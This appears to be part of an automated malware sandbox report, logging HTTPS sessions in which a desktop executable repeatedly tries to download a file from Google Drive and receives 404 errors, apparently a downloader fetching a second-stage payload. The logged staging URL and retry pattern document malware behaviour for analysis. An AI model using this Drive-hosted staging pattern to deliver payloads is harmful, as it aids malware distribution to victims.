2025-01-10 14:39:22 UTC	460	OUT	GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:39:23 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgRnYJgMNZcEXVAQ3Oin165x40IQwbsfw2ZeUiW21Zags_Lscelp4ijffa1TyOOHDkzkJu1ai4k Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:23 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-Ba8T_jLDIn_7TP3YwmOlSA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:39:23 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 57 75 61 68 58 32 53 48 72 75 6e 77 62 37 72 57 42 58 41 72 75 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="WuahX2SHrunwb7rWBXAruQ">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.11.30	49840	142.250.190.78	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:33 UTC	418	OUT	GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:39:33 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:33 GMT Location: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-phd9DZFPCCVXORGNrWDIyQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.11.30	49841	142.250.191.225	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:34 UTC	460	OUT	GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:39:34 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7-3yBZv3McKI9jLBAyHJ-Ii--JivMUejB_ZPoOGBF8c6H2H67hOSTiL-l1EGeYl_tln2jvGm8 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:34 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-dFEfbP8dV4wuitG3ozDzWQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:39:34 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 66 76 41 69 52 53 58 63 37 46 78 48 49 76 7a 56 49 4b 32 65 5f 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="fvAiRSXc7FxHIvzVIK2e_g">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.11.30	49842	142.250.190.78	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:44 UTC	418	OUT	GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:39:44 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:44 GMT Location: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-_w8ISihuK0n6dn8YVUSZlw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.11.30	49843	142.250.191.225	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:45 UTC	460	OUT	GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:39:45 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6eOHyzsmjSykUufzovSP4g5ElKLnJTWh3UQ7vv1f9EKY1klm7SbKs3bhBfq7GH8Rad Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:45 GMT Content-Security-Policy: script-src 'nonce-qdjvxMNKYNpneTKUvvhIsg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:39:45 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 76 4b 65 31 39 54 42 61 48 43 6f 4b 2d 36 4d 54 46 55 75 73 73 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="vKe19TBaHCoK-6MTFUussg">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.11.30	49845	142.250.190.78	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:55 UTC	418	OUT	GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:39:56 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:56 GMT Location: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-jh_b4FYEFMq8qA4ernTSMQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.11.30	49846	142.250.191.225	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:56 UTC	460	OUT	GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:39:56 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7s31hl6CpL0gWhXjeNemnQbXnrCIPsAvj2a9OdqGBLIfncShH2U0hVk_M9_WUBoXGdvYCLsNQ Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:56 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'nonce-LVhhOrqaRwEvx8870iFeqw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:39:56 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 36 43 6c 7a 71 51 6e 4d 74 6b 66 33 79 6f 58 4e 55 75 51 79 4b 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="6ClzqQnMtkf3yoXNUuQyKg">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.11.30	49847	142.250.190.78	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:07 UTC	418	OUT	GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:40:07 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:07 GMT Location: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'nonce-6T-HXVXhg5FSe_6g4v3gvQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.11.30	49848	142.250.191.225	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
